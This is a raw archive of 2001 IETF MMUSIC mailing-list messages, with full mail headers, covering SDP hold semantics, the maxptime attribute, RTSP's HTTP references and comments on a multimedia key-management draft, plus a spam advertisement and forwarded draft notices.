        Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>, sip@ietf.org,
        mmusic <confctrl@ISI.EDU>
Subject: Re: [Sip] Re: SDP hold
References: <F66A04C29AD9034A8205949AD0C90104A3E6E3@win-msg-02.wingroup.windeploy.ntdev.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christian Huitema wrote:
> 
> Yep. In fact, if you consider things like NAT traversal, you probably
> want to also send a modicum of RTP packets for sessions that are on
> hold. Maybe some comfort noise, at a low bit rate. Otherwise, you are
> going to loose your mappings, and the "going off hold" will be tricky.

This is not a nice thing. I believe the current plan is to represent
going on hold changing SDP to a:sendonly or a:inactive. If you send me
SDP that says a:sendonly, then I am obligated to respond a:recvonly.
Once I have declared myself recvonly, do you really want me to send
on the RTP port? 

That is certainly an interesting interpretation of "recvonly".
I realize there are some important pragmatics going on here, but
it is really doing violence to the terminology.

	Paul Kyzivat
	Cisco Systems

From confctrl-owner  Mon Aug 27 16:34:08 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA14253
	for confctrl-outgoing; Mon, 27 Aug 2001 16:34:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA14248
	for <confctrl@zephyr.isi.edu>; Mon, 27 Aug 2001 16:34:08 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7RNY9v17811
	for <confctrl@ISI.EDU>; Mon, 27 Aug 2001 16:34:09 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f7RNHE613981;
	Mon, 27 Aug 2001 19:17:17 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAJ18477 (AUTH pkyzivat);
	Mon, 27 Aug 2001 19:18:28 -0400 (EDT)
Message-ID: <3B8AD387.CF97874A@cisco.com>
Date: Mon, 27 Aug 2001 19:11:03 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Christian Huitema <huitema@windows.microsoft.com>
CC: "David R. Oran" <oran@cisco.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Colin Perkins <csp@purple.cs.ucl.ac.uk>,
        Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>, sip@ietf.org,
        mmusic <confctrl@ISI.EDU>
Subject: Re: [Sip] Re: SDP hold
References: <F66A04C29AD9034A8205949AD0C90104A3E6E3@win-msg-02.wingroup.windeploy.ntdev.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christian Huitema wrote:
> 
> Yep. In fact, if you consider things like NAT traversal, you probably
> want to also send a modicum of RTP packets for sessions that are on
> hold. Maybe some comfort noise, at a low bit rate. Otherwise, you are
> going to loose your mappings, and the "going off hold" will be tricky.

This is not a nice thing. I believe the current plan is to represent
going on hold changing SDP to a:sendonly or a:inactive. If you send me
SDP that says a:sendonly, then I am obligated to respond a:recvonly.
Once I have declared myself recvonly, do you really want me to send
on the RTP port? 

That is certainly an interesting interpretation of "recvonly".
I realize there are some important pragmatics going on here, but
it is really doing violence to the terminology.

	Paul Kyzivat
	Cisco Systems

From confctrl-owner  Mon Aug 27 23:28:13 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA04315
	for confctrl-outgoing; Mon, 27 Aug 2001 23:28:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA04308
	for <confctrl@zephyr.isi.edu>; Mon, 27 Aug 2001 23:28:12 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7S6SDv15169
	for <confctrl@ISI.EDU>; Mon, 27 Aug 2001 23:28:14 -0700 (PDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id f7S6SBK27925;
	Tue, 28 Aug 2001 08:28:11 +0200 (MEST)
Received: from lmf.ericsson.se (lmf00234pc.lmf.ericsson.se [131.160.30.33])
	by fogerty.lmf.ericsson.se (8.11.3/8.11.3) with ESMTP id f7S6SA421772;
	Tue, 28 Aug 2001 09:28:10 +0300 (EET DST)
Message-ID: <3B8B39F9.F80A7962@lmf.ericsson.se>
Date: Tue, 28 Aug 2001 09:28:09 +0300
From: Christer Holmberg <@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Christian Huitema <huitema@windows.microsoft.com>,
        "David R. Oran" <oran@cisco.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Colin Perkins <csp@purple.cs.ucl.ac.uk>,
        Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>, sip@ietf.org,
        mmusic <confctrl@ISI.EDU>
Subject: Re: [Sip] Re: SDP hold
References: <F66A04C29AD9034A8205949AD0C90104A3E6E3@win-msg-02.wingroup.windeploy.ntdev.microsoft.com> <3B8AD387.CF97874A@cisco.com>
Content-Type: multipart/mixed;
 boundary="------------549D2443DE837A95C6483274"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------549D2443DE837A95C6483274
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Hi,

My question is: do we really care? To my understanding, the only thing
that SIP is concerned about is to put the actual MEDIA on hold - period.
The need, or no-need, of RTCP may then be depending on the network
architecture etc, and it's a bearer level issue, so it could be
configurable elsewhere.

We should remember that even if we put media on hold, we still have a
stream, and depending on the bearer network (IP, ATM,...) there may be
some "stream signalling" (RTCP, for example). So, if one really wants to
make sure that nothing is sent he/she may simply remove the stream
completely...

Regards,

Christer Holmberg
Ericsson Finland





Paul Kyzivat wrote:
> 
> Christian Huitema wrote:
> >
> > Yep. In fact, if you consider things like NAT traversal, you probably
> > want to also send a modicum of RTP packets for sessions that are on
> > hold. Maybe some comfort noise, at a low bit rate. Otherwise, you are
> > going to loose your mappings, and the "going off hold" will be tricky.
> 
> This is not a nice thing. I believe the current plan is to represent
> going on hold changing SDP to a:sendonly or a:inactive. If you send me
> SDP that says a:sendonly, then I am obligated to respond a:recvonly.
> Once I have declared myself recvonly, do you really want me to send
> on the RTP port?
> 
> That is certainly an interesting interpretation of "recvonly".
> I realize there are some important pragmatics going on here, but
> it is really doing violence to the terminology.
> 
>         Paul Kyzivat
>         Cisco Systems
> 
> _______________________________________________
> Sip mailing list  http://www1.ietf.org/mailman/listinfo/sip
> This list is for NEW development of the core SIP Protocol
> Use sip-implementors@cs.columbia.edu for questions on current sip
> Use sipping@ietf.org for new developments on the application of sip
--------------549D2443DE837A95C6483274
Content-Type: text/x-vcard; charset=us-ascii;
 name="christer.holmberg.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Christer Holmberg
Content-Disposition: attachment;
 filename="christer.holmberg.vcf"

begin:vcard 
n:Holmberg;Christer
tel;cell:+358-40-5604412
tel;work:+358-9-2992943
x-mozilla-html:FALSE
org:Ericsson;IP Multimedia / Advanced Signalling Research Laboratory
adr:;;;;;;
version:2.1
email;internet:christer.holmberg@lmf.ericsson.se
title:System Designer
fn:Christer Holmberg
end:vcard

--------------549D2443DE837A95C6483274--


From confctrl-owner  Tue Aug 28 00:47:23 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA07945
	for confctrl-outgoing; Tue, 28 Aug 2001 00:47:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA07939
	for <confctrl@zephyr.isi.edu>; Tue, 28 Aug 2001 00:47:22 -0700 (PDT)
Received: from ukdmzmail1.ctxi.com (mailhost.ctxi.com [193.130.171.211])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7S7lOv09491
	for <confctrl@isi.edu>; Tue, 28 Aug 2001 00:47:24 -0700 (PDT)
Received: from ukwtpmsxbh2.crowncastle.co.uk (unverified) by ukdmzmail1.ctxi.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tc0a8026455a4c437e9@ukdmzmail1.ctxi.com> for <confctrl@isi.edu>;
 Tue, 28 Aug 2001 08:49:02 +0100
Received: by ukwtpmsxbh2.crowncastle.co.uk with Internet Mail Service (5.5.2653.19)
	id <RDAZSYFY>; Tue, 28 Aug 2001 08:47:15 +0100
Message-ID: <E546760DDA87D411882700508BAF16CE306F66@ukwtpmsx3>
From: ANTIGEN_UKWTPMSX3 <ANTIGEN_UKWTPMSX3@crowncastle.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Antigen forwarded attachment
Date: Tue, 28 Aug 2001 08:46:54 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/mixed ; boundary="----_=_NextPart_000_01C12F95.9B7BF7F0"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C12F95.9B7BF7F0
Content-Type: text/plain

Enclosed is your original file attachment from the message "I-D
ACTION:draft-ietf-mmusic-sdpng-02.txt"
sent to you by Internet-Drafts@ietf.org (Internet-Drafts@ietf.org).





************************
NOTICE TO USERS
The contents of this e-mail are confidential to the ordinary user of the e-mail address to which it was addressed and may also be privileged. 
If you are not the addressee of this e-mail you may not copy, forward, disclose or otherwise use it or any part of it in any form whatsoever, or take any action in reliance on its contents. 
If you have received this e-mail in error please e-mail the author by replying to this message and delete the material from your computer. 
While reasonable precautions have been taken to ensure no viruses are present in this e-mail, you are responsible for carrying out your own virus checks and Crown Castle International does not accept responsibility for any loss or damage thereby arising. 
The views of the author may not necessarily reflect those of Crown Castle International. At present the integrity of e-mail across the Internet cannot be guaranteed and messages sent via this medium are potentially at risk. 
All liability is excluded to the extent permitted by law for any claims arising as a result of the use of this medium to transmit information by or to Crown Castle International.

Visit Crown Castle International web site on: http://www.crowncastle.com

------_=_NextPart_000_01C12F95.9B7BF7F0
Content-Type: message/external-body;
	site="internet-drafts";
	dir="draft-ietf-mmusic-sdpng-02.txt";
	mode="ftp.ietf.org";
	access-type="anon-ftp"


------_=_NextPart_000_01C12F95.9B7BF7F0--

From confctrl-owner  Tue Aug 28 00:47:25 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id AAA07956
	for confctrl-outgoing; Tue, 28 Aug 2001 00:47:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA07949
	for <confctrl@zephyr.isi.edu>; Tue, 28 Aug 2001 00:47:24 -0700 (PDT)
Received: from ukdmzmail1.ctxi.com (mailhost.ctxi.com [193.130.171.211])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7S7lPv09507
	for <confctrl@isi.edu>; Tue, 28 Aug 2001 00:47:25 -0700 (PDT)
Received: from ukwtpmsxbh2.crowncastle.co.uk (unverified) by ukdmzmail1.ctxi.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tc0a8026455a4c437f8@ukdmzmail1.ctxi.com> for <confctrl@isi.edu>;
 Tue, 28 Aug 2001 08:49:02 +0100
Received: by ukwtpmsxbh2.crowncastle.co.uk with Internet Mail Service (5.5.2653.19)
	id <RDAZSYFZ>; Tue, 28 Aug 2001 08:47:15 +0100
Message-ID: <E546760DDA87D411882700508BAF16CE306F65@ukwtpmsx3>
From: ANTIGEN_UKWTPMSX3 <ANTIGEN_UKWTPMSX3@crowncastle.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Antigen forwarded attachment
Date: Tue, 28 Aug 2001 08:46:54 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/mixed ; boundary="----_=_NextPart_000_01C12F95.9B36D8A0"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C12F95.9B36D8A0
Content-Type: text/plain

Enclosed is your original file attachment from the message "I-D
ACTION:draft-ietf-mmusic-sdp4nat-00.txt"
sent to you by Internet-Drafts@ietf.org (Internet-Drafts@ietf.org).





************************
NOTICE TO USERS
The contents of this e-mail are confidential to the ordinary user of the e-mail address to which it was addressed and may also be privileged. 
If you are not the addressee of this e-mail you may not copy, forward, disclose or otherwise use it or any part of it in any form whatsoever, or take any action in reliance on its contents. 
If you have received this e-mail in error please e-mail the author by replying to this message and delete the material from your computer. 
While reasonable precautions have been taken to ensure no viruses are present in this e-mail, you are responsible for carrying out your own virus checks and Crown Castle International does not accept responsibility for any loss or damage thereby arising. 
The views of the author may not necessarily reflect those of Crown Castle International. At present the integrity of e-mail across the Internet cannot be guaranteed and messages sent via this medium are potentially at risk. 
All liability is excluded to the extent permitted by law for any claims arising as a result of the use of this medium to transmit information by or to Crown Castle International.

Visit Crown Castle International web site on: http://www.crowncastle.com

------_=_NextPart_000_01C12F95.9B36D8A0
Content-Type: message/external-body;
	site="internet-drafts";
	dir="draft-ietf-mmusic-sdp4nat-00.txt";
	mode="ftp.ietf.org";
	access-type="anon-ftp"


------_=_NextPart_000_01C12F95.9B36D8A0--

From confctrl-owner  Tue Aug 28 04:04:11 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA16983
	for confctrl-outgoing; Tue, 28 Aug 2001 04:04:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA16978
	for <confctrl@zephyr.isi.edu>; Tue, 28 Aug 2001 04:04:09 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7SB4Av19715
	for <confctrl@ISI.EDU>; Tue, 28 Aug 2001 04:04:11 -0700 (PDT)
Received: from era-t.ericsson.se (koff.ericsson.se [147.214.173.137])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id f7SB3tK17150
	for <confctrl@ISI.EDU>; Tue, 28 Aug 2001 13:04:06 +0200 (MEST)
Received: from era-t.ericsson.se by era-t.ericsson.se (SMI-8.6/LME-DOM-2.2.5(ERA/T))
	id NAA13992; Tue, 28 Aug 2001 13:03:54 +0200
Message-ID: <3B8B7A9F.B7ED7DC7@era-t.ericsson.se>
Date: Tue, 28 Aug 2001 13:04:00 +0200
From: Magnus Westerlund <magnus.westerlund@era-t.ericsson.se>
X-Mailer: Mozilla 4.74 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: IETF MMUSIC WG <confctrl@ISI.EDU>
Subject: RTSP and HTTP version
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

RTSP RFC 2326 reference the obsoleted version of HTTP/1.1 RFC2068.
Should an implementor use the corresponding sections in RFC 2616?

Regards

Magnus Westerlund

Audio Technology, Ericsson Research
----------------------------------------------------------------------
Ericsson Radio Systems AB  | Phone +46 8 4048287
Torshamsgatan 23           | Fax   +46 8 7575550
S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se




From confctrl-owner  Tue Aug 28 11:26:11 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA10033
	for confctrl-outgoing; Tue, 28 Aug 2001 11:26:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA10028
	for <confctrl@zephyr.isi.edu>; Tue, 28 Aug 2001 11:26:10 -0700 (PDT)
Received: from chiron.nge.isi.edu (chiron.nge.isi.edu [65.114.169.204])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7SIQCv26564
	for <confctrl@ISI.EDU>; Tue, 28 Aug 2001 11:26:12 -0700 (PDT)
Received: from chiron (csp@localhost)
	by chiron.nge.isi.edu (8.11.2/8.11.2) with ESMTP id f7SIQ6H15165;
	Tue, 28 Aug 2001 14:26:06 -0400
Message-Id: <200108281826.f7SIQ6H15165@chiron.nge.isi.edu>
To: Magnus Westerlund <magnus.westerlund@era-t.ericsson.se>
cc: Flemming Andreasen <fandreas@cisco.com>, confctrl@ISI.EDU
Subject: Re: maxptime 
In-Reply-To: Your message of "Thu, 23 Aug 2001 10:10:15 +0200."
             <3B84BA67.FCA2A67D@era-t.ericsson.se> 
Date: Tue, 28 Aug 2001 14:26:06 -0400
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Magnus Westerlund writes:
>Hi Flemming,
>
>Both you and I may desire a stronger requirement for implementation of the maxptime
>attribute. But the SDP specification only says they are suggested attributes and not
>understood attributes must be ignored. Some of these attributes, like "rtpmap" and
>"fmtp" are a must implement, at least when used for RTP session setup. But if you
>look at attributes like "quality" or "type" they can rather safely be ignored by an
>implementation without effecting interoperability. "maxptime" as a new attribute,
>that I hope will be very useful, has problem in how to get it implemented. One way
>of getting it implemented is to stick it as an optional parameter to as many audio
>codecs as possible. This will make more implementors aware that this is a must
>support attribute.
>
>There must also be very clear that "maxptime" might not be understood by older
>implementations. And this must not break any implementations. So the question here
>is, should any note concerning this be added to the definition in SDP-new?
>
>> However it's not really a codec attribute but rather a media stream attribute.
>>
>> >
>> > This creates a question regarding parameters in the MIME type for a payload
>> > format. Any optional or required MIME parameter can go into the "a=fmtp:"
>> > line.
>>
>> Can they ? The -05 version of the MIME draft says:
>>
>>    o  The general (and optional) parameters "ptime" and "maxptime" go
>>        in the SDP "a=ptime" and "a=maxptime" attributes, respectively.
>>
>>     o  Any payload-format-specific parameters go in the SDP "a=fmtp"
>>        attribute.  The format and syntax of these parameters may be...
>>
>
>Ok, I missed that part. This seems to invalidate my previous suggestions that it
>should be possible to stick "maxptime" in the "fmtp" line. Not allowing it also
>clarifies the matter considerably as only a single "maxptime" should be present for
>each media part. But please Colin or other, comment on this.

The "maxptime" attribute cannot be included on the "fmtp" line. 

>> > >
>> > > Since we are on the subject anyway, I have a related question:
>> > >
>> > > Since "maxptime" is a media stream attribute, and we may have multiple
>> > > codecs for a given media stream, how does one satisfy that
>> > >
>> > >         "The time SHOULD be a multiple of the frame size."
>> > >
>> > > There is a similar issue with "ptime" of course, but the language is
>> > > somewhat weaker there.
>> > >
>> > > -- Flemming
>> >
>> > I don't see that as a problem. If you have two codecs for a certain media that
>> > has different frame lengths you can choose which multiple to use. For the
>> > other codec you have a very valid reason why you don't meet that should.
>>
>> Seems like a spec deficiency to me.
>>
>
>We could change the sentence to:
>
>"The time SHOULD be a multiple of the frame size of one of the codecs used for this
>media."

I don't see a real issue. If the "maxptime" is not an exact multiple of the
frame size, you have to include one less frame to ensure that the packet is 
less than the maximum size. That's why the text uses SHOULD not MUST.

Colin

From confctrl-owner  Tue Aug 28 14:13:47 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA17107
	for confctrl-outgoing; Tue, 28 Aug 2001 14:13:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA17102
	for <confctrl@zephyr.isi.edu>; Tue, 28 Aug 2001 14:13:45 -0700 (PDT)
Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7SLDmv26503
	for <confctrl@isi.edu>; Tue, 28 Aug 2001 14:13:48 -0700 (PDT)
Received: from mira-sjc5-6.cisco.com (mira-sjc5-6.cisco.com [171.71.163.23])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f7SKsmV12328;
	Tue, 28 Aug 2001 14:08:08 -0700 (PDT)
Received: from mbaugher-w2k1.cisco.com (sjc-vpn1-55.cisco.com [10.21.96.55])
	by mira-sjc5-6.cisco.com (Mirapoint)
	with ESMTP id AAN01867;
	Tue, 28 Aug 2001 13:56:39 -0700 (PDT)
Message-Id: <4.3.2.7.2.20010828133429.04341100@mira-sjc5-6.cisco.com>
X-Sender: mbaugher@mira-sjc5-6.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 28 Aug 2001 13:55:37 -0700
To: rolf.blom@era.ericsson.se, elisabetta.carrara@era.ericsson.se,
        fredrik.lindholm@era.ericsson.se, jari.arkko@ericsson.com
From: Mark Baugher <mbaugher@cisco.com>
Subject: Re: [MSEC] draft-blom-mm-kmgt-00.txt
Cc: msec@securemulticast.org, confctrl@ISI.EDU
In-Reply-To: <4.3.2.7.2.20010824081134.025f8ab8@mira-sjc5-6.cisco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Rolf, Elisabetta, Fredrik and Jari,

    Here are the rest of my comments on the draft.

    Req 5.6 is unclear to me: SRTP, for example, associates a crypto 
context (SA) with <SSRC, dest transport address> or just <dest transport 
addr>, so in a sense it might be associated/indexed by an IP address.  A 
bigger question probably has to do with what identity is used for the 
crypto context:  Is it a name associated with a public key, a SPKI cert, 
and X.509 authorization cert, a big number, or what? Does 5.16 contradict 5.6?

   Does 5.11 require that the key management protocol support upgrade to 
new transforms and attributes?  I think you're looking for a key management 
framework since 5.5 requires it to support new security protocols.

   Many of the requirements in 6 are true in general for practically any 
protocol.  They would be more meaningful with thresholds or bounds.

   Req 7.1 is also very general.  You cite cryptographic strength but not 
the security services that are provided such as authenticity, integrity, 
confidentiality or what information is protected (Ran mentioned identity 
protection).  I think the Security Considerations section should discuss 
the threats posed and necessary responses.

Mark

At 09:08 AM 8/24/2001 -0700, Mark Baugher wrote:
>Hi
>   I re-read draft-blom-mm-kmgt-00.txt and 
> draft-carrara-mm-kmgt-sol-00.txt; I have some comments and questions on 
> the first draft now.
>
>   Req 4.1 and 4.2 of 
> http://search.ietf.org/internet-drafts/draft-blom-mm-kmgt-00.txt make 
> this work relevant to msec since you're concerned with an integrated key 
> management for pairwise (e.g., unicast) and group (e.g., multicast) 
> applications.  msec's been narrowly focused on SSM, but we're aware that 
> group key management may be applied to small groups having many senders, 
> which is what draft-blom-mm-kmgt-00.txt considers.  Your draft is timely 
> since an msec requirements draft is in the works and your draft is 
> concerned with requirements.
>
>   I was confused by sections 2 and 3 since you do not come right out and 
> say that your concern is with "security of the media streams" rather than 
> "call control security."  In section 4 you say that you are concerned 
> with end-to-end security of the media stream (i.e., providing keys for 
> SRTP of figure 1).  The relationship between call control and media 
> stream security needs more discussion in the draft IMO.
>
>   In section 5, you claim that having more than one party derive the 
> session key results in additional round trips.  This is not the case with 
> an exchange such as the IKE revised public key encryption exchange.  IKE 
> is not appropriate to your requirements of section 6 since IKE is two 
> phase and there does not seem to be much need for a two phase key 
> management protocol for multimedia session key management.   But I think 
> the revised public-key exchange contradicts your point in section 5.1 
> (I'd like to hear what Ran has to say since he was a co-inventor of IKE 
> revised public key).  I agree with req. 5.1, however, but not for the 
> reason of increasing the round-trip exchanges but because it's the only 
> way to key a group of more than two.  I'm not sure about req. 5.2 since 
> I'm not clear on how the large-scale size of a PSTN impinges on 
> end-to-end key establishment for multimedia sessions.  Although we may 
> rule out IKE, I'd like to say that req. 5.5 requires an ISAKMP or IKE 
> approach of separating key management from security protocol.
>
>I have some more points on section 5, 6 and 7, but I'll stop here for now 
>since the note is already a bit long.
>
>thanks, Mark
>
>
>
>
>_______________________________________________
>msec mailing list
>msec@securemulticast.org
>http://www.pairlist.net/mailman/listinfo/msec


From confctrl-owner  Tue Aug 28 14:52:21 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA19288
	for confctrl-outgoing; Tue, 28 Aug 2001 14:52:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA19283
	for <confctrl@zephyr.isi.edu>; Tue, 28 Aug 2001 14:52:20 -0700 (PDT)
Received: from mail1.dynamicsoft.com ([63.113.40.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7SLqEv18534
	for <confctrl@ISI.EDU>; Tue, 28 Aug 2001 14:52:22 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f7SLgmob024706;
	Tue, 28 Aug 2001 17:42:48 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <RY36L0SR>; Tue, 28 Aug 2001 17:43:37 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF020D66B7@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Christian Huitema'" <huitema@windows.microsoft.com>,
        "David R. Oran"
	 <oran@cisco.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Colin Perkins <csp@purple.cs.ucl.ac.uk>,
        Gonzalo Camarillo
	 <Gonzalo.Camarillo@lmf.ericsson.se>
Cc: sip@ietf.org, mmusic <confctrl@ISI.EDU>
Subject: RE: [Sip] Re: SDP hold 
Date: Tue, 28 Aug 2001 17:43:36 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Christian Huitema [mailto:huitema@windows.microsoft.com]
> Sent: Monday, August 27, 2001 6:22 PM
> To: David R. Oran; Jonathan Rosenberg; Colin Perkins; Gonzalo 
> Camarillo
> Cc: sip@ietf.org; mmusic
> Subject: RE: [Sip] Re: SDP hold 
> 
> 
> Yep. In fact, if you consider things like NAT traversal, you probably
> want to also send a modicum of RTP packets for sessions that are on
> hold. Maybe some comfort noise, at a low bit rate. Otherwise, you are
> going to loose your mappings, and the "going off hold" will be tricky.

In this case, you probably don't even want to implement "on hold" using the
a=sendonly attribute. Rather, you would re-INVITE to switch to a comfort
noise codec, or something like that. Remember, we are not standardizing on
hold, we are standardizing a primitive that might be used to implement on
hold.

-Jonathan R.

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Tue Aug 28 19:05:08 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA00331
	for confctrl-outgoing; Tue, 28 Aug 2001 19:05:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA00326
	for <confctrl@zephyr.isi.edu>; Tue, 28 Aug 2001 19:05:07 -0700 (PDT)
Received: from market0 ([208.158.105.111])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f7T259v11374
	for <confctrl@isi.edu>; Tue, 28 Aug 2001 19:05:09 -0700 (PDT)
Received: from mail pickup service by market0 with Microsoft SMTPSVC;
	 Tue, 28 Aug 2001 19:01:47 -0700
From: <promotion@market.gogocity.com>
To: <confctrl@ISI.EDU>
Subject: ADV: Cell Phone Accessories Blow Out Start @ $5.95 Free Shipping
Date: Tue, 28 Aug 2001 19:01:46 -0700
MIME-Version: 1.0
Content-Type: multipart/alternative;	boundary="----=_NextPart_000_C28EC_01C12FF3.E2A33630"
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Message-ID: <MARKET0Bma4RCIlWrdF00030aac@market0>
X-OriginalArrivalTime: 29 Aug 2001 02:01:47.0409 (UTC) FILETIME=[8F4FE010:01C1302E]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_C28EC_01C12FF3.E2A33630
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

 
<http://www.gogocity.com//searchresults.asp?department=5031&parent%5Fid=
5>
<http://www.gogocity.com//searchresults.asp?department=5031&parent%5Fid=
5> 
